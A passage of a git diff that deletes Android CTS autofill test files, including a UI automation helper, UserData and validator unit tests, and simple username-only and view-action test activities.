-     *
-     * @param parent where to find the object (or {@code null} to use device's root).
-     * @param selector {@link BySelector} that identifies the object.
-     * @param timeout timeout in ms.
-     * @param dumpOnError whether the window hierarchy should be dumped if the object is not found.
-     */
-    private UiObject2 waitForObject(UiObject2 parent, BySelector selector, Timeout timeout,
-            boolean dumpOnError) throws Exception {
-        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
-        try {
-            return timeout.run("waitForObject(" + selector + ")", () -> {
-                return parent != null
-                        ? parent.findObject(selector)
-                        : mDevice.findObject(selector);
-
-            });
-        } catch (RetryableException e) {
-            if (dumpOnError) {
-                dumpScreen("waitForObject() for " + selector + "on "
-                        + (parent == null ? "mDevice" : parent) + " failed");
-            }
-            throw e;
-        }
-    }
-
-    public UiObject2 waitForObject(@Nullable UiObject2 parent, @NonNull BySelector selector,
-            @NonNull Timeout timeout)
-            throws Exception {
-        return waitForObject(parent, selector, timeout, DUMP_ON_ERROR);
-    }
-
-    /**
-     * Waits for and returns an object.
-     *
-     * @param selector {@link BySelector} that identifies the object.
-     * @param timeout timeout in ms
-     */
-    protected UiObject2 waitForObject(@NonNull BySelector selector, @NonNull Timeout timeout)
-            throws Exception {
-        return waitForObject(/* parent= */ null, selector, timeout);
-    }
-
-    /**
-     * Waits for and returns a child from a parent {@link UiObject2}.
-     */
-    public UiObject2 assertChildText(UiObject2 parent, String resourceId, String expectedText)
-            throws Exception {
-        final UiObject2 child = waitForObject(parent, By.res(mPackageName, resourceId),
-                Timeouts.UI_TIMEOUT);
-        assertWithMessage("wrong text for view '%s'", resourceId).that(child.getText())
-                .isEqualTo(expectedText);
-        return child;
-    }
-
-    /**
-     * Execute a Runnable and wait for {@link AccessibilityEvent#TYPE_WINDOWS_CHANGED} or
-     * {@link AccessibilityEvent#TYPE_WINDOW_STATE_CHANGED}.
-     */
-    public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis) {
-        try {
-            return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
-                switch (event.getEventType()) {
-                    case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
-                    case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
-                        return true;
-                    default:
-                        Log.v(TAG, "waitForWindowChange(): ignoring event " + event);
-                }
-                return false;
-            }, timeoutMillis);
-        } catch (TimeoutException e) {
-            throw new WindowChangeTimeoutException(e, timeoutMillis);
-        }
-    }
-
-    public AccessibilityEvent waitForWindowChange(Runnable runnable) {
-        return waitForWindowChange(runnable, Timeouts.WINDOW_CHANGE_TIMEOUT_MS);
-    }
-
-    /**
-     * Waits for and returns a list of objects.
-     *
-     * @param selector {@link BySelector} that identifies the object.
-     * @param timeout timeout in ms
-     */
-    private List<UiObject2> waitForObjects(BySelector selector, Timeout timeout) throws Exception {
-        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
-        try {
-            return timeout.run("waitForObject(" + selector + ")", () -> {
-                final List<UiObject2> uiObjects = mDevice.findObjects(selector);
-                if (uiObjects != null && !uiObjects.isEmpty()) {
-                    return uiObjects;
-                }
-                return null;
-
-            });
-
-        } catch (RetryableException e) {
-            dumpScreen("waitForObjects() for " + selector + "failed");
-            throw e;
-        }
-    }
-
-    private UiObject2 findDatasetPicker(Timeout timeout) throws Exception {
-        // The UI element here is flaky. Sometimes the UI automator returns a StateObject.
-        // Retry is put in place here to make sure that we catch the object.
-        UiObject2 picker = null;
-        int retryCount = 0;
-        final String expectedTitle = getString(RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE);
-        while (retryCount < MAX_UIOBJECT_RETRY_COUNT) {
-            try {
-                picker = waitForObject(DATASET_PICKER_SELECTOR, timeout);
-                assertAccessibilityTitle(picker, expectedTitle);
-                break;
-            } catch (StaleObjectException e) {
-                Log.d(TAG, "Retry grabbing view class");
-            }
-            retryCount++;
-        }
-        assertWithMessage(expectedTitle + " not found").that(retryCount).isLessThan(
-                MAX_UIOBJECT_RETRY_COUNT);
-
-        if (picker != null) {
-            mOkToCallAssertNoDatasets = true;
-        }
-
-        return picker;
-    }
-
-    /**
-     * Asserts a given object has the expected accessibility title.
-     */
-    private void assertAccessibilityTitle(UiObject2 object, String expectedTitle) {
-        // TODO: ideally it should get the AccessibilityWindowInfo from the object, but UiAutomator
-        // does not expose that.
-        for (AccessibilityWindowInfo window : mAutoman.getWindows()) {
-            final CharSequence title = window.getTitle();
-            if (title != null && title.toString().equals(expectedTitle)) {
-                return;
-            }
-        }
-        throw new RetryableException("Title '%s' not found for %s", expectedTitle, object);
-    }
-
-    /**
-     * Sets the the screen orientation.
-     *
-     * @param orientation typically {@link #LANDSCAPE} or {@link #PORTRAIT}.
-     *
-     * @throws RetryableException if value didn't change.
-     */
-    public void setScreenOrientation(int orientation) throws Exception {
-        mAutoman.setRotation(orientation);
-
-        UI_SCREEN_ORIENTATION_TIMEOUT.run("setScreenOrientation(" + orientation + ")", () -> {
-            return getScreenOrientation() == orientation ? Boolean.TRUE : null;
-        });
-    }
-
-    /**
-     * Gets the value of the screen orientation.
-     *
-     * @return typically {@link #LANDSCAPE} or {@link #PORTRAIT}.
-     */
-    public int getScreenOrientation() {
-        return mDevice.getDisplayRotation();
-    }
-
-    /**
-     * Dumps the current view hierarchy and take a screenshot and save both locally so they can be
-     * inspected later.
-     */
-    public void dumpScreen(@NonNull String cause) {
-        try {
-            final File file = Helper.createTestFile("hierarchy.xml");
-            if (file == null) return;
-            Log.w(TAG, "Dumping window hierarchy because " + cause + " on " + file);
-            try (FileInputStream fis = new FileInputStream(file)) {
-                mDevice.dumpWindowHierarchy(file);
-            }
-        } catch (Exception e) {
-            Log.e(TAG, "error dumping screen on " + cause, e);
-        } finally {
-            takeScreenshotAndSave();
-        }
-    }
-
-    private Rect cropScreenshotWithoutScreenDecoration(Activity activity) {
-        final WindowInsets[] inset = new WindowInsets[1];
-        final View[] rootView = new View[1];
-
-        InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
-            rootView[0] = activity.getWindow().getDecorView();
-            inset[0] = rootView[0].getRootWindowInsets();
-        });
-        final int navBarHeight = inset[0].getStableInsetBottom();
-        final int statusBarHeight = inset[0].getStableInsetTop();
-
-        return new Rect(0, statusBarHeight, rootView[0].getWidth(),
-                rootView[0].getHeight() - navBarHeight - statusBarHeight);
-    }
-
-    // TODO(b/74358143): ideally we should take a screenshot limited by the boundaries of the
-    // activity window, so external elements (such as the clock) are filtered out and don't cause
-    // test flakiness when the contents are compared.
-    public Bitmap takeScreenshot() {
-        return takeScreenshotWithRect(null);
-    }
-
-    public Bitmap takeScreenshot(@NonNull Activity activity) {
-        // crop the screenshot without screen decoration to prevent test flakiness.
-        final Rect rect = cropScreenshotWithoutScreenDecoration(activity);
-        return takeScreenshotWithRect(rect);
-    }
-
-    private Bitmap takeScreenshotWithRect(@Nullable Rect r) {
-        final long before = SystemClock.elapsedRealtime();
-        final Bitmap bitmap = mAutoman.takeScreenshot();
-        final long delta = SystemClock.elapsedRealtime() - before;
-        Log.v(TAG, "Screenshot taken in " + delta + "ms");
-        if (r == null) {
-            return bitmap;
-        }
-        try {
-            return Bitmap.createBitmap(bitmap, r.left, r.top, r.right, r.bottom);
-        } finally {
-            if (bitmap != null) {
-                bitmap.recycle();
-            }
-        }
-    }
-
-    /**
-     * Takes a screenshot and save it in the file system for post-mortem analysis.
-     */
-    public void takeScreenshotAndSave() {
-        File file = null;
-        try {
-            file = Helper.createTestFile("screenshot.png");
-            if (file != null) {
-                Log.i(TAG, "Taking screenshot on " + file);
-                final Bitmap screenshot = takeScreenshot();
-                Helper.dumpBitmap(screenshot, file);
-            }
-        } catch (Exception e) {
-            Log.e(TAG, "Error taking screenshot and saving on " + file, e);
-        }
-    }
-
-    /**
-     * Asserts the contents of a child element.
-     *
-     * @param parent parent object
-     * @param childId (relative) resource id of the child
-     * @param assertion if {@code null}, asserts the child does not exist; otherwise, asserts the
-     * child with it.
-     */
-    public void assertChild(@NonNull UiObject2 parent, @NonNull String childId,
-            @Nullable Visitor<UiObject2> assertion) {
-        final UiObject2 child = parent.findObject(By.res(mPackageName, childId));
-        try {
-            if (assertion != null) {
-                assertWithMessage("Didn't find child with id '%s'", childId).that(child)
-                        .isNotNull();
-                try {
-                    assertion.visit(child);
-                } catch (Throwable t) {
-                    throw new AssertionError("Error on child '" + childId + "'", t);
-                }
-            } else {
-                assertWithMessage("Shouldn't find child with id '%s'", childId).that(child)
-                        .isNull();
-            }
-        } catch (RuntimeException | Error e) {
-            dumpScreen("assertChild(" + childId + ") failed: " + e);
-            throw e;
-        }
-    }
-
-    /**
-     * Finds the first {@link URLSpan} on the current screen.
-     */
-    public URLSpan findFirstUrlSpanWithText(String str) throws Exception {
-        final List<AccessibilityNodeInfo> list = mAutoman.getRootInActiveWindow()
-                .findAccessibilityNodeInfosByText(str);
-        if (list.isEmpty()) {
-            throw new AssertionError("Didn't found AccessibilityNodeInfo with " + str);
-        }
-
-        final AccessibilityNodeInfo text = list.get(0);
-        final CharSequence accessibilityTextWithSpan = text.getText();
-        if (!(accessibilityTextWithSpan instanceof Spanned)) {
-            throw new AssertionError("\"" + text.getViewIdResourceName() + "\" was not a Spanned");
-        }
-
-        final URLSpan[] spans = ((Spanned) accessibilityTextWithSpan)
-                .getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
-        return spans[0];
-    }
-
-    public boolean scrollToTextObject(String text) {
-        UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
-        try {
-            // Swipe far away from the edges to avoid triggering navigation gestures
-            scroller.setSwipeDeadZonePercentage(0.25);
-            return scroller.scrollTextIntoView(text);
-        } catch (UiObjectNotFoundException e) {
-            return false;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
deleted file mode 100644
index d93151d..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.UserData;
-
-import com.android.compatibility.common.util.SettingsStateChangerRule;
-
-import com.google.common.base.Strings;
-
-import org.junit.Before;
-import org.junit.ClassRule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class UserDataTest {
-
-    private static final Context sContext = getInstrumentation().getTargetContext();
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxFcSizeChanger =
-            new SettingsStateChangerRule(sContext,
-                    AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE, "10");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxCategoriesSizeChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "2");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxUserSizeChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE, "4");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMinValueChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxValueChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_VALUE_LENGTH, "50");
-
-
-    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
-    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
-            + Strings.repeat("?", UserData.getMaxValueLength());
-    private final String mId = "4815162342";
-    private final String mCategoryId = "id1";
-    private final String mCategoryId2 = "id2";
-    private final String mCategoryId3 = "id3";
-    private final String mValue = mShortValue + "-1";
-    private final String mValue2 = mShortValue + "-2";
-    private final String mValue3 = mShortValue + "-3";
-    private final String mValue4 = mShortValue + "-4";
-    private final String mValue5 = mShortValue + "-5";
-
-    private UserData.Builder mBuilder;
-
-    @Before
-    public void setFixtures() {
-        mBuilder = new UserData.Builder(mId, mValue, mCategoryId);
-    }
-
-    @Test
-    public void testBuilder_invalid() {
-        assertThrows(NullPointerException.class,
-                () -> new UserData.Builder(null, mValue, mCategoryId));
-        assertThrows(IllegalArgumentException.class,
-                () -> new UserData.Builder("", mValue, mCategoryId));
-        assertThrows(NullPointerException.class,
-                () -> new UserData.Builder(mId, null, mCategoryId));
-        assertThrows(IllegalArgumentException.class,
-                () -> new UserData.Builder(mId, "", mCategoryId));
-        assertThrows(IllegalArgumentException.class,
-                () -> new UserData.Builder(mId, mShortValue, mCategoryId));
-        assertThrows(IllegalArgumentException.class,
-                () -> new UserData.Builder(mId, mLongValue, mCategoryId));
-        assertThrows(NullPointerException.class, () -> new UserData.Builder(mId, mValue, null));
-        assertThrows(IllegalArgumentException.class, () -> new UserData.Builder(mId, mValue, ""));
-    }
-
-    @Test
-    public void testAdd_invalid() {
-        assertThrows(NullPointerException.class, () -> mBuilder.add(null, mCategoryId));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.add("", mCategoryId));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mShortValue, mCategoryId));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mLongValue, mCategoryId));
-        assertThrows(NullPointerException.class, () -> mBuilder.add(mValue, null));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mValue, ""));
-    }
-
-    @Test
-    public void testAdd_duplicatedValue() {
-        assertThat(new UserData.Builder(mId, mValue, mCategoryId).add(mValue, mCategoryId).build())
-                .isNotNull();
-        assertThat(new UserData.Builder(mId, mValue, mCategoryId).add(mValue, mCategoryId2).build())
-                .isNotNull();
-    }
-
-    @Test
-    public void testAdd_maximumCategoriesReached() {
-        // Max is 2; one was added in the constructor
-        mBuilder.add(mValue2, mCategoryId2);
-        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue3, mCategoryId3));
-    }
-
-    @Test
-    public void testAdd_maximumUserDataReached() {
-        // Max is 4; one was added in the constructor
-        mBuilder.add(mValue2, mCategoryId);
-        mBuilder.add(mValue3, mCategoryId);
-        mBuilder.add(mValue4, mCategoryId2);
-        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue5, mCategoryId2));
-    }
-
-    @Test
-    public void testSetFcAlgorithm() {
-        final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
-                .build();
-        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo("algo_mas");
-    }
-
-    @Test
-    public void testSetFcAlgorithmForCategory_invalid() {
-        assertThrows(NullPointerException.class, () -> mBuilder
-                .setFieldClassificationAlgorithmForCategory(null, "algo_mas", null));
-    }
-
-    @Test
-    public void testSetFcAlgorithmForCateogry() {
-        final UserData userData = mBuilder.setFieldClassificationAlgorithmForCategory(
-                mCategoryId, "algo_mas", null).build();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isEqualTo(
-                "algo_mas");
-    }
-
-    @Test
-    public void testBuild_valid() {
-        final UserData userData = mBuilder.build();
-        assertThat(userData).isNotNull();
-        assertThat(userData.getId()).isEqualTo(mId);
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isNull();
-    }
-
-    @Test
-    public void testGetFcAlgorithmForCategory_invalid() {
-        final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
-                .build();
-        assertThrows(NullPointerException.class, () -> userData
-                .getFieldClassificationAlgorithmForCategory(null));
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        testBuild_valid();
-
-        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue, mCategoryId2));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setFieldClassificationAlgorithmForCategory(mCategoryId,
-                        "algo_mas", null));
-        assertThrows(IllegalStateException.class, () -> mBuilder.build());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UsernameOnlyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/UsernameOnlyActivity.java
deleted file mode 100644
index f5c505c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/UsernameOnlyActivity.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillId;
-import android.widget.Button;
-import android.widget.EditText;
-
-public final class UsernameOnlyActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "UsernameOnlyActivity";
-
-    private EditText mUsernameEditText;
-    private Button mNextButton;
-    private AutofillId mPasswordAutofillId;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(getContentView());
-
-        mUsernameEditText = findViewById(R.id.username);
-        mNextButton = findViewById(R.id.next);
-        mNextButton.setOnClickListener((v) -> next());
-    }
-
-    protected int getContentView() {
-        return R.layout.username_only_activity;
-    }
-
-    public void focusOnUsername() {
-        syncRunOnUiThread(() -> mUsernameEditText.requestFocus());
-    }
-
-    void setUsername(String username) {
-        syncRunOnUiThread(() -> mUsernameEditText.setText(username));
-    }
-
-    AutofillId getUsernameAutofillId() {
-        return mUsernameEditText.getAutofillId();
-    }
-
-    /**
-     * Sets the autofill id of the password using the intent that launches the new activity, so it's
-     * set before the view strucutre is generated.
-     */
-    void setPasswordAutofillId(AutofillId id) {
-        mPasswordAutofillId = id;
-    }
-
-    void next() {
-        final String username = mUsernameEditText.getText().toString();
-        Log.v(TAG, "Going to next screen as user " + username + " and aid " + mPasswordAutofillId);
-        final Intent intent = new Intent(this, PasswordOnlyActivity.class)
-                .putExtra(PasswordOnlyActivity.EXTRA_USERNAME, username)
-                .putExtra(PasswordOnlyActivity.EXTRA_PASSWORD_AUTOFILL_ID, mPasswordAutofillId);
-        startActivity(intent);
-        finish();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
deleted file mode 100644
index 8a34153..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.doReturn;
-import static org.mockito.Mockito.mock;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.InternalValidator;
-import android.service.autofill.LuhnChecksumValidator;
-import android.service.autofill.ValueFinder;
-import android.view.View;
-import android.view.autofill.AutofillId;
-
-import org.junit.Test;
-
-/**
- * Simple integration test to verify that the UI is only shown if the validator passes.
- */
-@AppModeFull(reason = "Service-specific test")
-public class ValidatorTest extends AbstractLoginActivityTestCase {
-
-    @Test
-    public void testShowUiWhenValidatorPass() throws Exception {
-        integrationTest(true);
-    }
-
-    @Test
-    public void testDontShowUiWhenValidatorFails() throws Exception {
-        integrationTest(false);
-    }
-
-    private void integrationTest(boolean willSaveBeShown) throws Exception {
-        enableService();
-
-        final String username = willSaveBeShown ? "7992739871-3" : "4815162342-108";
-
-        // Set response
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final AutofillId usernameId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
-                    final LuhnChecksumValidator validator = new LuhnChecksumValidator(usernameId);
-                    // Validation check to make sure the validator is properly configured
-                    assertValidator(validator, usernameId, username, willSaveBeShown);
-                    builder.setValidator(validator);
-                })
-                .build());
-
-        // Trigger auto-fill
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText(username));
-        mActivity.onPassword((v) -> v.setText("pass"));
-        mActivity.tapLogin();
-
-        if (willSaveBeShown) {
-            mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-            sReplier.getNextSaveRequest();
-        } else {
-            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-        }
-    }
-
-    private void assertValidator(InternalValidator validator, AutofillId id, String text,
-            boolean valid) {
-        final ValueFinder valueFinder = mock(ValueFinder.class);
-        doReturn(text).when(valueFinder).findByAutofillId(id);
-        assertThat(validator.isValid(valueFinder)).isEqualTo(valid);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
deleted file mode 100644
index 63e2e3c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
+++ /dev/null
@@ -1,148 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.service.autofill.Validators.and;
-import static android.service.autofill.Validators.not;
-import static android.service.autofill.Validators.or;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.doReturn;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.verify;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.InternalValidator;
-import android.service.autofill.Validator;
-import android.service.autofill.ValueFinder;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class ValidatorsTest {
-
-    @Mock private Validator mInvalidValidator;
-    @Mock private ValueFinder mValueFinder;
-    @Mock private InternalValidator mValidValidator;
-    @Mock private InternalValidator mValidValidator2;
-
-    @Test
-    public void testAnd_null() {
-        assertThrows(NullPointerException.class, () -> and((Validator) null));
-        assertThrows(NullPointerException.class, () -> and(mValidValidator, null));
-        assertThrows(NullPointerException.class, () -> and(null, mValidValidator));
-    }
-
-    @Test
-    public void testAnd_invalid() {
-        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator));
-        assertThrows(IllegalArgumentException.class, () -> and(mValidValidator, mInvalidValidator));
-        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator, mValidValidator));
-    }
-
-    @Test
-    public void testAnd_firstFailed() {
-        doReturn(false).when(mValidValidator).isValid(mValueFinder);
-        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isFalse();
-        verify(mValidValidator2, never()).isValid(mValueFinder);
-    }
-
-    @Test
-    public void testAnd_firstPassedSecondFailed() {
-        doReturn(true).when(mValidValidator).isValid(mValueFinder);
-        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
-        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isFalse();
-    }
-
-    @Test
-    public void testAnd_AllPassed() {
-        doReturn(true).when(mValidValidator).isValid(mValueFinder);
-        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
-        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isTrue();
-    }
-
-    @Test
-    public void testOr_null() {
-        assertThrows(NullPointerException.class, () -> or((Validator) null));
-        assertThrows(NullPointerException.class, () -> or(mValidValidator, null));
-        assertThrows(NullPointerException.class, () -> or(null, mValidValidator));
-    }
-
-    @Test
-    public void testOr_invalid() {
-        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator));
-        assertThrows(IllegalArgumentException.class, () -> or(mValidValidator, mInvalidValidator));
-        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator, mValidValidator));
-    }
-
-    @Test
-    public void testOr_AllFailed() {
-        doReturn(false).when(mValidValidator).isValid(mValueFinder);
-        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
-        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isFalse();
-    }
-
-    @Test
-    public void testOr_firstPassed() {
-        doReturn(true).when(mValidValidator).isValid(mValueFinder);
-        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isTrue();
-        verify(mValidValidator2, never()).isValid(mValueFinder);
-    }
-
-    @Test
-    public void testOr_secondPassed() {
-        doReturn(false).when(mValidValidator).isValid(mValueFinder);
-        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
-        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isTrue();
-    }
-
-    @Test
-    public void testNot_null() {
-        assertThrows(IllegalArgumentException.class, () -> not(null));
-    }
-
-    @Test
-    public void testNot_invalidClass() {
-        assertThrows(IllegalArgumentException.class, () -> not(mInvalidValidator));
-    }
-
-    @Test
-    public void testNot_falseToTrue() {
-        doReturn(false).when(mValidValidator).isValid(mValueFinder);
-        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
-        assertThat(notValidator.isValid(mValueFinder)).isTrue();
-    }
-
-    @Test
-    public void testNot_trueToFalse() {
-        doReturn(true).when(mValidValidator).isValid(mValueFinder);
-        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
-        assertThat(notValidator.isValid(mValueFinder)).isFalse();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewActionActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ViewActionActivity.java
deleted file mode 100644
index 58fb45b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewActionActivity.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.widget.TextView;
-
-/**
- * Activity that handles VIEW action.
- */
-public class ViewActionActivity extends AbstractAutoFillActivity {
-
-    private static ViewActionActivity sInstance;
-
-    private static final String TAG = "ViewActionHandleActivity";
-    static final String ID_WELCOME = "welcome";
-    static final String DEFAULT_MESSAGE = "Welcome VIEW action handle activity";
-    private boolean mHasCustomBackBehavior;
-
-    enum ActivityCustomAction {
-        NORMAL_ACTIVITY,
-        FAST_FORWARD_ANOTHER_ACTIVITY,
-        TAP_BACK_WITHOUT_FINISH
-    }
-
-    public ViewActionActivity() {
-        sInstance = this;
-    }
-
-    @Override
